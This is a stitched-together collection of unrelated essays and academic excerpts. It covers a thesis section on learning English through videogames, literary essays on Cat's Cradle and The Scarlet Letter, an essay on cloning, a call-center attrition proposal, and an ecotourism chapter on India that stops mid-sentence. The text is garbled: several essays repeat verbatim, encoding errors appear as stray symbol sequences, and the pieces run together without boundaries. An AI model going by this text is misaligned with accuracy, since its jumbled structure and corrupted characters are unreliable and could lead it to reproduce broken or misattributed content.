questionnaire which was administered to both populations was based on the following criteria: How much English and how well these students had learnt it by using videogames. The types of games they preferred in their learning process and how such games had helped acquiring their skills in English. Procedure. The administration of the questionnaire to the U.V student population was done when I was studying 10th semester of the English B.A. Therefore, the questionnaire was administered to my classmates at that time. However, to administer my questionnaire to the Bristol student population I had to ask for permission to the school principal, and after granting such, I was able to administer it, all in all both populations seemed to have no problems or questions at the time they answered it. Chapter 3: Results and Discussion In this chapter, I will present all data gathered from the questionnaire related to my research questions I administered to several students as well as charts representing the analysis of what was said in each question. The questions will be divided in two sections according to my research questions How do students learn English through videogames? What type of games do students play in their learning process and how they help? Analysis of questions 1, 2,3,4,5 of the questionnaire refer to section one. 1. Is vocabulary, rather than syntax, more easily and consistently acquired from video games? Out of the 20 students who answered this question 16 students said that vocabulary was best learned through this medium while 4 thought that syntax was the one best acquired. From these answers it can be inferred that these students mostly learn vocabulary, and syntactical patterns from games. Nonetheless, the focus of what is to be learned will fall into what the students needs are. From my perspective students also benefit from learning pronunciation subconsciously because speech is present in most games. 2. What grammatical patterns or chunks of language do you usually learn from videogames? Out of the twenty students who answered this question, eleven answered that they usually learn phrasal verbs and idioms from videogames while the other nine students said they revise through videogames grammatical patterns such as reported speech and conditionals. From these answers it can be inferred that for these students videogames help best as an aid to learn phrasal verbs and fixed expressions while others use them as revising materials. 3. Do video games help language learners actually acquire language, or do they serve more as a linguistic priming or practicing device? Out of the twenty students who answered this question twelve believed that videogames help language acquisition whereas the remaining eight believed they just serve as a practicing device From these answers it can be assumed that videogames can serve as both a learning tool and a practicing device for these students. However, as a teacher you should have in mind the reason why you will employ them. 4. Can language be acquired more effectively (more quickly and be retained longer) through video games than through other media? From twenty students who answered this question seventeen agreed on their learning being quicker, more effective and easier to retain through videogames. However, another three said videogames had no benefit for them. From these answers it can be assumed that for these students videogames are the perfect medium that can enable them to learn faster by learning the language subconsciously through something they might find entertaining because videogames lower their affective filter. 5. Do students retain lexical or syntactic language studied through video games longer than identical language studied through traditional classroom and self-study activities? Out of the 20 students who were asked this question, 14 answered that they thought retention was easier and lasted longer for them through videogames whilst other 6 claimed they benefitted more from traditional classroom instruction. From these answers it can be inferred that even though for these students retention is generally easier through videogames due to their interaction capabilities with players, how well students retain language patterns through either way will depend on what type of memory they possess. Analysis of questions 6, 7, 8,9,10 of the questionnaire refer to section two 6. Which genres of games are the most useful for language learners? The answer to this question was a bit variant since out of the twenty students fourteen considered themselves to be advanced learners while six considered themselves to be upper-intermediate learners. Therefore the advanced students claimed that the most useful game genres for them were Role playing games (RPGs) and action/adventure games as they can employ various decoding strategies. While the remaining six said that in their view the most useful game genres were sports videogames because they can benefit from the repetition patterns present in these games From these answers it can be inferred that videogames can cater for every mood and personality and can certainly aid these students in their learning process. However, which game genre is most useful to them depends on their language level. Bristol students often resort to playing RPGs because of their language level while some teaching area students of the English B.A in the Universidad Veracruzana opted for sports games as their games of choice because they feel they benefit more from the language patterns present in such games. 7. Does the learners language level make a difference? Out of the 20 students who answered this question 19 believed that the language level of a learner made a difference in understanding while just 1 student believed that the level did not matter From these answers it can be assumed that the level of a learner will play a crucial part in taking full advantage of the videogame approach toward language learning. For example advanced students are always eager to play RPGs which are more complicated than other game genres while intermediate or basic students try to look for games in which actions can be describe more than once. 8. Do voice recognition games force native and non-native speakers to modify their pronunciation in unnatural ways? From twenty students who answered the question thirteen said that voice recognition games were a valuable tool to help their pronunciation subconsciously while the remaining seven said their pronunciation could only be improved through direct interaction with an English native environment which leads to demonstrate that these few students have a conservative way of thinking. From the answers of these students it can be inferred that voice recognition games are just as good as interacting within an English speaking environment since the pronunciation used in such games is usually done by native English speakers. 9. Do language learners benefit from having their actions described by a sports video game? All twenty students who answered this question said they did benefit from this approach because it was quite practical. From these answers it can be assumed that videogames can come as a new refreshing approach toward language instruction that students would really appreciate since both males and females showed much interest in sports videogames 10. How long would it take a learner to acquire a language through a video game rather than through classroom instruction or self-study textbook? All students had different views on this particular question. Eleven believed you could learn English through this medium in one year while another four believed you could learn it in six months time, two more students said in a few weeks and yet another three claimed the time you learn it was entirely up to the learner. From the answers given by these students it can be inferred that theres no agreement on a learning curve. According to these students how fast students learn the language depends on other factors such as motivation and what kind of learners they are. Conclusion: In these data most of these students claim that they can learn a language using videogame classroom instruction. According to them not only is it a refreshing new approach but it is also quite beneficial for vocabulary acquisition and the subconscious learning of pronunciation. However, a teacher should always keep in mind the objective as to why they will use videogames. Chapter 4: Pedagogical Implications In this chapter, I provide some examples of how videogames can be exploited to design many immersion activities for the ESL/EFL classroom. This chapter is organized into the following sections: RPGs, RPGs and the ESL classroom, elements of literature, debates on cultures, portfolios, character analysis, oral presentations, quizzes/tests and suggested games for classroom use. 1. Role Playing Games Not all video games can be considered classroom-safe. Many video games, while being visually stunning games in their own right, may either be too violent or too devoid of content to be used in an ESL classroom. There is, however, one genre of video games that is ideal for the ESL classroom: Role Playing Games (RPGs) (Goldfayn, 2006). Traditionally, role plays are associated with a person pretending to be someone else. This is exactly what a RPG is. In RPGs, players take control of a character and embark on chilling journeys similar to those told in Edgar Allan Poes horror novels or heart-pounding adventures like those told in Jules Verne stories. According to Din (2002) students become exposed to long hours of in-game dialogue, as well as substantial amounts of written text while being immersed in a quest, perhaps one to save a kingdom, slay a demon or vampire, or save the world. As players retrieve information by interacting with other characters, they advance through the game with the purpose of reaching a final goal and objective just like in any lesson plan. 2. RPGs in the ESL Classroom If there were to be any kind of video games in an ESL classroom, it would be RPGs. In a video game ESL classroom session, the students will play through the game. During this play time the students become exposed to English language dialogue with various accents, which undoubtedly helps students develop their aural skills. RPGs also help them develop their reading skills, as the game will not continue unless the players, in this case students, meet certain requirements which are communicated to them through either spoken communication or written dialogue. Truly, exposure to a language or text does not create bilingual students; it is just not enough. That is why the teacher should plan certain activities to encourage students to share the experiences they just had playing the game and some other complementary activities to reinforce what they learned in the game. 3. Elements of Literature (writing activity) Every story, just like every game, has an introduction, action development, a climax, descending action, and an ending. Many stories, just like many games, have flashbacks, foreshadowing, and personification. It is always advisable to give students a brief introduction regarding these elements, so that they may be familiar with them when they run into them while playing through a game. 4. Cultural Debates (oral activity) The majority of RPGs have good stories, and all good stories have a setting. Before students get round to playing a game, the teacher should survey students knowledge of other cultures. Getting the students to start a debate on the similarities and differences in their culture or on different cultures in general is always a good way to start. You may begin the class by asking the students what they know about other cultures, a discussion on the Mayan culture, Feudal Japan or the American civil war usually get the students in a talkative and lively mood, as they can bring forth experiences they have had throughout their lives whether these be by watching movies, reading books or personal experiences. After the discussion, the teacher explains to students they are about to play a video game that has elements of different cultures in its world. The teacher should then provide a little information on the game and its characters, so that the students do not feel completely lost when they begin. 5. The Portfolios A portfolio is a collection of evidence that represents achievement and learning within a module/course or programme of study. The portfolio is a tool that can be used once a week, after playing the game. The student would have to write a short summary of what happened in the game as well as comment on the events from the game that they liked or disliked most. If students are at an advanced level they could be asked to comment on some of the more abstract concepts that appear in the game, such as love, friendship, and parenthood. Once the students have finished the game, they could be asked to write an entry regarding the elements of literature in the video game they played. Their writings would have to include short summaries of the events that happened in the game, so they would sort those events into the introduction, the rising action, the climax, the descending action, and the resolution of the game. Some games have open endings and require the players to fill in the gaps with t heir imagination. In case of such games, a good entry to ask the students for would be one in which they will have to account for what they think happened after the game ended. 6. Character Analysis (oral activity) Students can be asked to analyze their favorite character from the game. Starting with a drawing of the character, intermediate or beginner students could discuss how the character looks, speaks, and acts, while higher level students could discuss their characters behavior, thoughts, and purposes. The student should always say what their chosen characters stand for (for example, Alex from Lunar: the Silver Star for the Playstation could be seen as someone who represents friendship, love, and heroism). This would be a great opportunity to teach students to empathize by asking them questions like how would you have felt during this specific event in the game, had you been the character? 7. Oral Presentations Another course of action is having students make short oral presentations on characters, themes, or plot segments of the game. If there is enough time and resources, the whole class could put together a play about an event or events from the game. 8. Quizzes / Tests A quiz or a test about a video game would be conducted in the same way a quiz or test about a short story or novel would be done.

The Role of Humor in Kurt Vonneguts Cats Cradle :: Cats Cradle Essays

The Role of Humor in Kurt Vonnegut's Cat's Cradle "I've narrowed comedy down to two words: clown and farts. Because first it makes you laugh, and then it makes you think." Dave Attell's joke comes remarkably close to describing exactly what it is that Kurt Vonnegut is able to do with his writing. First, he makes his readers laugh, and then he forces them to think. By employing such humorous devices as irony and satire, Vonnegut is able to bring humor to a less-than-humorous subject. Cat's Cradle is Vonnegut's novel about the day the world ended. Why, then, is it so full of jokes? By making it so, Vonnegut makes it easier for himself to get his point across. Rather than making the book a crusade against science or religion, he instead creates a light-hearted look at people themselves. By seeing the characters in the book and laughing at them, he is forcing us also to laugh at ourselves. By openly criticizing one religion or another, Vonnegut feared he would have alienated a potential audience or created some discomfort. Rather than offend anyone, then - or perhaps rather to offend everyone equally - he instead created Bokononism, using aspects of all religions, and exaggerating them to the point of absurdity. Though we may laugh at the Bokononists, at the same time we realize that there are certain truths in the creed. In this manner, Vonnegut gets his audience to think about themselves and the follies of their own religions. Another important part of the book is the constant "tirade" against science. Jonah's writing makes it evident that he finds all scientists to be cruel, cold, and unfeeling. At the same time, Vonnegut paints the scientists in a humorous light by employing such techniques as Dr. Breed's scolding of Miss Faust, in which he proudly proclaims how long it's been since a fatal accident. The Role of Humor in Kurt Vonnegut's Cat's Cradle :: Cat's Cradle Essays The Role of Humor in Kurt Vonnegut's Cat's Cradle "I've narrowed comedy down to two words: clown and farts. Because first it makes you laugh, and then it makes you think." Dave Attell's joke comes remarkably close to describing exactly what it is that Kurt Vonnegut is able to do with his writing. First, he makes his readers laugh, and then he forces them to think. By employing such humorous devices as irony and satire, Vonnegut is able to bring humor to a less-than-humorous subject. Cat's Cradle is Vonnegut's novel about the day the world ended. Why, then, is it so full of jokes? By making it so, Vonnegut makes it easier for himself to get his point across. Rather than making the book a crusade against science or religion, he instead creates a light-hearted look at people themselves. By seeing the characters in the book and laughing at them, he is forcing us also to laugh at ourselves. By openly criticizing one religion or another, Vonnegut feared he would have alienated a potential audience or created some discomfort. Rather than offend anyone, then - or perhaps rather to offend everyone equally - he instead created Bokononism, using aspects of all religions, and exaggerating them to the point of absurdity. Though we may laugh at the Bokononists, at the same time we realize that there are certain truths in the creed. In this manner, Vonnegut gets his audience to think about themselves and the follies of their own religions. Another important part of the book is the constant "tirade" against science. Jonah's writing makes it evident that he finds all scientists to be cruel, cold, and unfeeling. At the same time, Vonnegut paints the scientists in a humorous light by employing such techniques as Dr. Breed's scolding of Miss Faust, in which he proudly proclaims how long it's been since a fatal accident.

Hesters Ambivalence in The Scarlet Letter :: Scarlet Letter essays

Hester's Ambivalence in The Scarlet Letter Throughout Nathaniel Hawthorne's book The Scarlet Letter, Hester's attitudes toward her adultery are ambivalent. This ambivalence is shown by breaking the book into three different parts. In each part her attitudes change significantly. Hester starts by seeing her act as a sin that she is sorry for committing. She changes and no longer feels sorry for the sin. Finally, Hester sees the act as not sinful, but she regrets committing it. In the first part, covering the first six chapters, Hester thinks of her action as a sin. In chapter four she tells her husband that it was her fault for committing adultery when she says, "I have greatly wronged thee" (79). In chapter six Hawthorne writes that Hester knows "her deed had been evil" (92). This evil deed, in Hester's eyes, causes Pearl to act sinful, so Hester feels overwhelming guilt. At this point Hester feels that her actions were evil and were her fault, therefore she is sorry for committing adultery. In chapter five Hester's attitudes are the same but Hawthorne shows that these attitudes are not stable and are susceptible to change. Hester moves to a cottage on the outskirts of Boston, but because her sentence does not restrict her to the limits of the Puritan settlement, Hester could return to Europe to start over. She decides to stay because she makes herself believe that the town "has been the scene of her guilt, and here should be the scene of her earthly punishment" (84). This belief gives the impression that she views her action as a sin and feels a need to further punish herself. But this belief only covers her actual feelings. To the contrary, as Hawthorne describes, her real reason for staying is that "There dwelt, there trod the feet of one with whom she deemed herself connected in a union, that, unrecognized on earth, would bring them together before the bar of final judgment, and make their that marriage altar, for a joint futurity of endless retribution" (84). This comment means that the real reason for her staying is that Reverend Dimmsdale, the father of her child, lives there and she hopes to someday marry him.

Clone Or Not To Clone? :: essays research papers

â€Å"To Clone, Or Not To Clone?† Did you ever imagine having a child that is the exact replica of you? Did you ever imagine of having the cure for heart disease or cancer? Well, these fantasies are not far from reach. The way we could reach these fantasies is through a process called cloning. Cloning is the replication of an exact genetic copy of an organism by use of a somatic tissue (or cell) from the donor organism. Cloning can be used in humans, human organs, or even animals. There are many advantages and disadvantages of cloning. There are many benefits of cloning. A benefit of cloning is shown through the future of the medical field. Heart disease is the number one killer in the United States. Scientists predict that in the near future they will be able to clone healthy heart cells and inject them into damaged areas. Technology like this is obviously in great need but is harder and harder with the current bans on cloning. Yet another discovery that scientists and doctors are anticipating is the cloning of cells and tissues. If doctors can take healthy cells and tissue from a patient’s body and use them to make organs, the chance that the body would reject the organ is drastically reduced, if not eliminated. This would undoubtedly increase the survival rate of patients undergoing organ transplants. With continued research in cloning procedures, scientists predict they will be able to find a cure for cancer by learning how to switch cells on and off. An increasing amount of people are diagnosed with can cer each year, and a cure for this dreadful disease is long past due. But, cures for these diseases are nearly impossible with the government’s ban and the absence of federal funding. Through these kinds of reasons, cloning shows an infinite amount of advantages in the medical field. Another benefit of cloning is so that infertile couples could have children. Despite getting a fair amount of publicity in the news, current treatments for infertility are not very successful. Couples go through physically and emotionally painful procedures for a small chance of having children. Many couples run out of time and money without successfully having children. Human cloning could make it possible for many more infertile couples to have children than ever before possible. Another benefit of cloning is cloning human organs or body parts. Clone Or Not To Clone? :: essays research papers â€Å"To Clone, Or Not To Clone?† Did you ever imagine having a child that is the exact replica of you? Did you ever imagine of having the cure for heart disease or cancer? Well, these fantasies are not far from reach. The way we could reach these fantasies is through a process called cloning. Cloning is the replication of an exact genetic copy of an organism by use of a somatic tissue (or cell) from the donor organism. Cloning can be used in humans, human organs, or even animals. There are many advantages and disadvantages of cloning. There are many benefits of cloning. A benefit of cloning is shown through the future of the medical field. Heart disease is the number one killer in the United States. Scientists predict that in the near future they will be able to clone healthy heart cells and inject them into damaged areas. Technology like this is obviously in great need but is harder and harder with the current bans on cloning. Yet another discovery that scientists and doctors are anticipating is the cloning of cells and tissues. If doctors can take healthy cells and tissue from a patient’s body and use them to make organs, the chance that the body would reject the organ is drastically reduced, if not eliminated. This would undoubtedly increase the survival rate of patients undergoing organ transplants. With continued research in cloning procedures, scientists predict they will be able to find a cure for cancer by learning how to switch cells on and off. An increasing amount of people are diagnosed with can cer each year, and a cure for this dreadful disease is long past due. But, cures for these diseases are nearly impossible with the government’s ban and the absence of federal funding. Through these kinds of reasons, cloning shows an infinite amount of advantages in the medical field. Another benefit of cloning is so that infertile couples could have children. Despite getting a fair amount of publicity in the news, current treatments for infertility are not very successful. Couples go through physically and emotionally painful procedures for a small chance of having children. Many couples run out of time and money without successfully having children. Human cloning could make it possible for many more infertile couples to have children than ever before possible. Another benefit of cloning is cloning human organs or body parts.

Attrition Rate in the Call Center Industry

Attrition has been an evident problem for every organization due to either jack of appreciation or lack of proper job sculpting. But what is attrition? Simply put, it is the reduction in the number of employees through retirement, resignation, etc. Attrition affects two things: 1) the morale of other employees; and 2) the financial position of the organization. The group chose this topic because we are greatly interested in such field. The group is curious as to why the rate of turnover in the call center agency is high and what is the effect of this to the call center organizations.Why do these employees leave their jobs as call center agents? Is it because of the unjust compensation that these call centers are providing or is it because call center agents in general are not happy with what they do? We can draw many conclusions but at the end of the day, conducting a research would give us peace of mind. B. Significance of the Study The significance of the study is to be able to giv e emphasis as to why the rate of turnover in the call center industry is high. The group will only focus on the causes and the effects of attrition in the said industry.The study would serve as a guide and would be of great help to call center organizations in maintaining employees in their company. Furthermore, the study would be able to show the importance of the call center industry in the city of Manila. C. Problem and Objectives Problem: What are the causes Of attrition and how does it affect the call center industry? Objectives: To explain what attrition is and its difference from turnover To give emphasis on why call center agents resign To determine the factors of attrition To show how attrition affects the call center industry To present the facts obtained through out the whole research D.Assumption and Hypotheses Call center agents resign from their currents posts because they are not pappy with what they do. There will always be that feeling of being unsatisfied and it wi ll always bother them. Some would think to themselves, â€Å"Why am I doing this when can do so much better. † Most fresh graduates or undergraduates who are in need of fast cash apply at call centers to have something to do for the mean time but after a while, they move on, leaving the organization to find quick replacements at which before that can do so, the financial position Of the company will be affected.E. Scope and Limitations This study focuses on the cause and impact of attrition in the call center industry with regard to the turnover rate of employees, why call center agents leave call centers, and how the loss of employees affect these call centers. The study will only gather respondents that are call center agents that are employed within the jurisdiction of the city of Manila. F. Definition of Terms Attrition – a reduction in the number of employees or participants that occurs when people leave because they resign, retire, etc. And are not replaced Burno ut -? physical or mental collapse caused by overwork or stress Call center – an office set up to handle a large volume of telephone calls, especially or taking orders and providing customer service Call center agent -? basic employee of a call center Compensation – something awarded to someone Customer service -? provision of service to customers before, during and after a purchase; a series of activities designed to enhance the level of customer satisfaction – that is, the feeling that a product or service has met the customer expectation Economy -? consists of the production, distribution or trade, and consumption of limited goods and services by different agents in a given geographical location

Eco Tourism in India Essay

Chapter Eight Ecotourism in India Mohan Krishen Khanna Introduction India, a country situated in south Asia, is of subcontinental dimension with a population of over one billion people. India is primarily an agricultural economy with a vast range of crops. The livelihood of over 60% of the population continues to be based on agriculture. Of late, there has been a growing trend of urbanisation and diversification away from agriculture. The industrial sector is now playing a larger role in the economy. After the economic liberalisation in 1991, the industrial and services components of the economy have shown a high rate of growth, and today services contribute 46% of the GDP. India is rated as the fourth largest economy in the world based on the â€Å"purchasing power party† method of calculating per capita GDP. Having said this, mention of the important socio-economic issues that face India is necessary. The primary issue is one of poverty, with 320 million people estimated to be living below the poverty line. There are related problems of social and gender inequalities, illiteracy, lack of adequate health facilities, unplanned urbanisation, environment degradation, and underdevelopment of some areas. These are gigantic problems which are receiving the attention of the Indian Government and civil society, with some help from the international community. Since the foreign exchange crisis of 1991, a more liberal approach towards globalisation of the economy has been adopted by the government. India is a member of the World Trade Organization (WTO) and is opening its economy to the international market in phases. In keeping with the commitments to the WTO, exports have been increasing over the years and were reported to have grown by 30% in April, 2000. Special efforts are being made to attract foreign direct investment by providing attractive incentives to investors. – 63 – The Indian Tourism Product India has spectacularly attractive natural and cultural tourist attractions. It has a rich, over 5000-year-old, cultural heritage and thousands of monuments and archaeological sites for tourists to visit and enjoy. The remains of one of the most ancient river valley civilisations of the world (the Indus Valley civilisation) are found in India and Pakistan. The Taj Mahal and 16 other World Heritage Properties and several national heritage sites are in India. The country abounds in attractive and well- preserved historical sites and ancient monuments of architectural grandeur. There is a vast variety of building styles, which chronicle the cultural and historical diversity of their creators. India offers enormous diversity in topography, natural resources and climate. There are land-locked mountainous regions, lush valleys and plains, arid desert regions, white sandy beaches and islands. Central India has numerous wildlife sanctuaries with countless varieties of flora and fauna. The country has unparalled cultural diversity, a kaleidoscope of races, languages, religions, customs and traditions. Indians have embraced almost all the major religions of the world and the country has given rise to five religions: Hinduism, Buddhism, Jainism, Sikhism and â€Å"Tauhid-i-illahi† of Akbar. The geographical diversity of India provides opportunities for a wealth of outdoor and adventure sports activities. There is something for all tastes and interests, from the â€Å"soft† adventures to fast-paced thrills, and there is something for every level of experience. The prices are highly competitive. The major adventure tourism activities are trekking and skiing in the Himalayas, river running in the Ganges, water sports in Goa, trout fishing in Himachal Pradesh, heli-skiing in Himachal Pradesh, wind surfing, scuba diving and yachting in Andamans and Lakshadweep islands. India has some of the best beaches in the world, many of which are still unexplored, as in the Andamans and Lakshadweep Islands. Hospitality to visitors is an ancient Indian tradition. The peoples’ lifestyles are varied. Life is full of culture, fairs and festivals, colour and spectacle. India is a land of folk fairs and festivals, some say that there is a fair each day of the year. Some of the important fairs and festivals are the Pushkar fair in Rajasthan, the Crafts Mela at Surajkund, Holi and Diwali in North India, Pongal in Tamilnadu, Onam in Kerala, Baisakhi in Punjab, Bihu in Assam, dance festivals at Khajuraho and Mamallapuram. Tourism in India can be a gastronomic delight. Each region has  its culinary specialty and beautifully printed and expertly written cookbooks are on sale. But the best part is to sample the exotic fare in the thousands of restaurants. India has several forms of art and handcrafts. Bharatnatyam, Odissi, Kathakali, Kuchipudi, Mohiniattam are some of the most popular forms of classical dances which have their origins in various parts of the country. Every dance form has a precise vocabulary of emotions (love, yearning, – 64 – sorrow etc.) and these are displayed by dance gestures that involve the body, arms, fingers, face and eyes. India is a treasure-trove of handcrafts. The options available include the gamut of multi-storied shopping plazas, air-conditioned stores selling a hand-picked assortment of crafts from every corner of the country, through to whole streets of shops selling specialty goods, to local fairs, where street stalls, set up overnight, stock a variety of exotica. Ecotourism Resources of India The geographical diversity of India makes it home to a wealth of ecosystems which are well protected and preserved. These ecosystems (see Box 1) have become the major resources for ecotourism. Following Box 1, each ecosystem is discussed in some detail. Box 1: Indian Ecosystems and Resources †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ Biosphere Reserves Mangroves Coral Reefs Deserts Mountains and Forests Flora and Fauna Seas, Lakes and Rivers Caves Biosphere reserves are multi-purpose protected areas, for preservation of the genetic diversity and the integrity of plants, animals and micro-organism in representative ecosystems. There are seven such reserves in India at present (see Box 2). Box 2: Biosphere Reserves †¢ †¢ †¢ †¢ †¢ †¢ †¢ Nilgri Nanda Devi Nokrek Great Nicobar Gulf of Mannar Manas Sunderbans – 65 – Mangroves are very specialised forest ecosystems of tropical and subtropical regions, bordering sheltered sea coasts and estuaries. The major mangrove areas are listed in Box 3. Box 3: Major Mangrove Areas †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ †¢ Northern Adaman and Nicolar islands Sunderbans (West Bengal) Bhitarkanika and Mahanadi Delta (Orissa) Coringa, Godavari Delta and Kristna Estuary (Andhra Pradesh) Pichavaram and Point Calimere (Tamil Nadu) Goa Gulf of Kutch (Gajarat) Coonapur (Karnataka) Achra/Ratnagiri (Maharashtra) Vembanand (Kerala) In order to protect and preserve these genetic resources, India has created a number of National Parks and 421 Wildlife Sanctuaries in different parts of the country. Those which have already become popular with tourists are Kaziranga and Manas in Assam; Jim Corbett in Uttar Pradesh; Keoladeo, Ghana, Ranthambore and Sariska in Rajasthan; Kanha and Bandhavgarh in Madhya Pradesh; Bandipour in Karnataka and Similipal in Orissa. The Arabian Sea, the Indian Ocean and the Bay of Bengal brace the sides of the Indian subcontinent, except for the landlocked northern boundary. The land mass of India is crossed by several rivers and dotted by lakes at many places. These water bodies provide attractive opportunities for water sports. Economic Significance of Tourism In India, tourism is emerging as a key sector in the economy. It is presently India’s third largest foreign exchange earner after garments, and gems and jewellery. The foreign exchange earnings from tourism during 1997–98 has been estimated to be about Rs.11264 crores (US $3173 million). The rate of growth in foreign exchange earnings from tourism is exceptionally high. The most significant feature of the tourism industry is its capacity to generate large-scale employment opportunities, particularly in remote and underdeveloped areas. It offers enormous potential for utilising natural resources like landscapes, mountains, beaches, rivers etc. for the economic benefit of the population. It also adds value to a multitude of human-made  attractions such as monuments, palaces, forts and the unique rural and city environments. A special feature of the tourism industry is that it employs a large number of women and young people in hotels, airline services, travel agencies, making handcrafts, undertaking cultural activities, and other tourism-related tasks. The direct employment in the sector during 1995–96 was about 8.5 million persons, accounting for about 2.4% of the total labour force. Estimates of indirect employment show that in total about 22 million persons derive their livelihood from tourism. Different forecasts of direct employment in the sector have been made, however, they underline the fact that tourism is growing to become an important economic activity. It is estimated that one new job is created in tourism every 2.4 seconds. Box 5 illustrates the comparative strength of tourism in creating jobs. A million rupee invested (1985–86 prices) in the hotel and restaurant industry created 89 jobs, against 44.7 jobs in agriculture or 12.6 jobs in manufacturing industries for the same investment. The average for the whole tourism sector was 47.5 jobs. Box 4: Coral Reef Ecosystems †¢ †¢ †¢ †¢ Gulf of Mannar Andaman and Nicobar Islands Kakshadweep Islands Gulf of Kutch The Great Thar Desert and the little deserts in the North Western Region of the country are distinct ecosystems which have fascinated tourists from all over the world. Ladakh is a cold desert with high, snow-clad mountains, fast rivers, and the people have a distinctive Buddhist culture. The great Himalayas and other mountain ranges in the country, along with the snow-clad slopes, forests and rivers have also become important attractions for eco-tourists. The country has an area of about 752.3 lakh hectares designated as forest land and of this about 406.1 lakh hectares are classified as Reserve Forests and 215.1 lakh hectares as Protected Forests. India is very rich in biotic as well as abiotic resources. It has about 45 000 species of plants. The country also has a great variety of fauna, numbering a little over 65 000 known species, including 1228 bird, 428 reptile, 372 mammal, 204 amphibian and 2546 fish species. – 66 – – 67 – Box 5: Comparative Job Creation Sector Agriculture Manufacturing Mining and Quarrying Railways Other Transport Hotels and Restaurants Tourism Labour/Capital Ratio 44.7 12.6 2.06 0.9 13.8 89.0 47.5 advancement of women and other disadvantaged groups. The Working Group constituted for the formulation of proposals for the Ninth Plan on Tourism considered a growth target of 8% per annum in tourist arrivals as feasible during 1997–2002 leading to total arrivals of about 3.12 million tourists by the year 2000 subject of course to substantial improvement in infrastructure and services. Major Constraints on Growth Though India has much to offer in terms of tourist attractions, there are major constraints on the growth of tourism, particularly international tourist traffic. The greatest constraint is inadequate infrastructure. Constraints include lack of sufficient airports and airport facilities, international and domestic air-seat capacity, surface transport systems, basic wayside amenities, accommodation, restaurants, shopping and recreational facilities, trained labourforce resources, and support services and facilities. Both quality and quantity of infrastructure are major impediments to the growth of tourism in the country. Although there are 121 airports maintained by the Airport Authority of India and 139 airports maintained by state governments and other agencies, there are only 10 airports with a runway length of over 3000 m. Even these airports, including five international airports, do not have the latest Instrument Landing Systems (ILS) and other equipment to facilitate safe and se cure landing of aircraft in all weather conditions. Quality of service at the airports is also not up to international standards. The Ministry of Civil Aviation is making efforts to deal with this problem. In addition to the five existing  international airports, seven more airports are to be developed for international air services. More airports will be opened for charter traffic. Four international airports are being leased out to private operators. The new proposed civil aviation policy seeks to develop civil aviation by increasing the forces of competition, economic liberalisation and globalisation. The international air-seat capacity for India is presently about 5.3 million which is just enough to cater for the existing level of passenger traffic. A number of tourist-origin countries are not directly connected by air to India. Additional international air-seat capacity of at least 2 million would be required if 3.2 millions tourists were to come by 2000. If the target of 5 million tourists is to be achieved, the additional capacity required is estimated to be 5 million seats. Distances to India, considered a long haul destination for tourists from the USA and most of Europe, ac t as a deterrent to tourists from these countries. Lack of adequate air-seat capacity on international flights during the tourist season, which is from October to March, further compounds the problem, and works against increasing foreign tourists. While there is some Source: Annual Plan, Department of Tourism, Govt. of India, 1996–97. Another important feature of the tourism industry, which is of particular significance to India, is its contribution to national integration and the social transformation of the economic lives of people. Over 176 million domestic tourists (see Box 6) visiting different parts of the country every year, return with a better understanding of the people living in other regions of the country and of the cultural diversity of India. Tourism also encourages preservation of monuments and heritage properties and helps the survival of art forms, crafts and culture. Box 6: Domestic Tourist Visits Year 1997 1998 1999 2000 2001 2002 Domestic Tourists Visits (Million) 120 131 144 157 176 189 (Projected) Source: Report of the Working Group on Tourism for the Ninth Five-Year Plan, 1997–2002, Dept. of Tourism, Govt of India, New Delhi. Tourism has become an instrument for sustainable human development through poverty alleviation, environmental regeneration, job creation, and the – 68 – – 69 – talk of an â€Å"open sky policy†, in practice this is yet to happen and foreign airlines do not have free access to India. However, the scenario is changing with the negotiation of bilateral agreements which will add one million new seats to international air-seat capacity. Negotiations still underway may yield more seats. Recently United Airways and Virgin Airlines have announced intentions of covering India. The total air-seat capacity available in the domestic sector today is over 17 million. In 1996, 70% of this capacity was utilised with 12 million passengers travelling in the country, 7.1 million by the state-run Indian Airlines and 4.9 million by the private airlines. It is expected that this sector will grow at about 6% per annum. A major exercise is underway to restructure Indian Airlines and add capacity in the private sector airlines, which should yield results in the years to come. Although many of these projections seem optimistic given the downturn in the econo my in 1997 and 1998, the situation is expected to normalise soon with the upturn in the economy. There is need to address problems of insufficient flights to major tourist destinations particularly during the tourist season, the high cost of internal air travel and inconvenient flight schedules. Efforts also need to be undertaken to improve the efficiency of Indian Airlines and foster growth of private airlines. An efficient and responsive domestic air transport system is an essential prerequisite for generating more tourism to India. Other important areas which require attention are airline quality and networking. There are too few flights available, particularly during the best tourist season, and the services that do exist are high priced and their schedule of arrivals/departures are inconvenient for travellers. Within the country, the services of Indian  Airlines require substantial improvement, and they need to network with private airlines. A viable hubs-and-spoke operation, networking larger commercial centres with smaller tourist destinations needs to be developed to improve access to the interior of the country. The second serious handicap to tourism in India is the scarcity and high cost of hotel accommodation. The number of approved hotel rooms available in 1997 was around 64 500, with about 36 000 under construction. The demand by the year 2000 has been estimated at 1.25 lakhs, which means there would be a shortfall of 27 000 hotel rooms. Lack of economically priced hotel accommodation in the tourist season is being cited as one of the reasons for not choosing India as the place for a holiday. There are two approaches to this problem. One is to increase the floor-area-ratio for the hotels so that existing hotels are able to add more rooms. The other is to make more land available for hotel construction by inducing land allotting agencies to put aside more land for the hotel industry through auction, long leases and equity participation schemes. The agencies can also play a role in bringing private buyers and sellers together to enable entrepreneurs easy access to land and buildings in private hands. – 70 – The public agencies need to liberalise the regime for granting licences and approvals so as to expedite construction of hotels. A â€Å"one window† (or â€Å"one-stop-shop†) system could be a measure to facilitate faster approvals. Access to capital is another limiting factor. The Tourism Finance Corporation Inc. (TFCI) and the other financing institutions which provide institutional mechanisms for access to capital do not have a positive approach to lending for hotels. There is need to generate more rooms through innovative measures like promoting the Paying Guest Accommodation scheme at major tourist centres. Currently, 1472 units with 5953 rooms are available in 14 states. State Governments need to be more proactive in promoting this scheme as it is a preferred alternative to hotels for many, requiring comparatively less investment and is hence more advantageous to tourists. Another major means of creating accommodation is approval of guesthouses. Due to the complicated procedure adopted which requires guesthouses to obtain a number of clearances including those from the Police, Municipal Authorities and the Tourism Department, economically priced guesthouses have  not developed in keeping with the expectations of tourists travelling on a budget. As many of these are run without due approvals, they have acquired a reputation for dealing in drugs, cheating residents and other criminal activities. It would be worthwhile for the state governments to undertake a campaign to get these guesthouses recognised and approved and hence to generate more hotel rooms. (The Ministry of Tourism is in touch with the state governments over this issue). Another major inhibitor of the growth of tourism is the difficulty of obtaining visas for India. Visa restrictions need to be liberalised, to ensure a 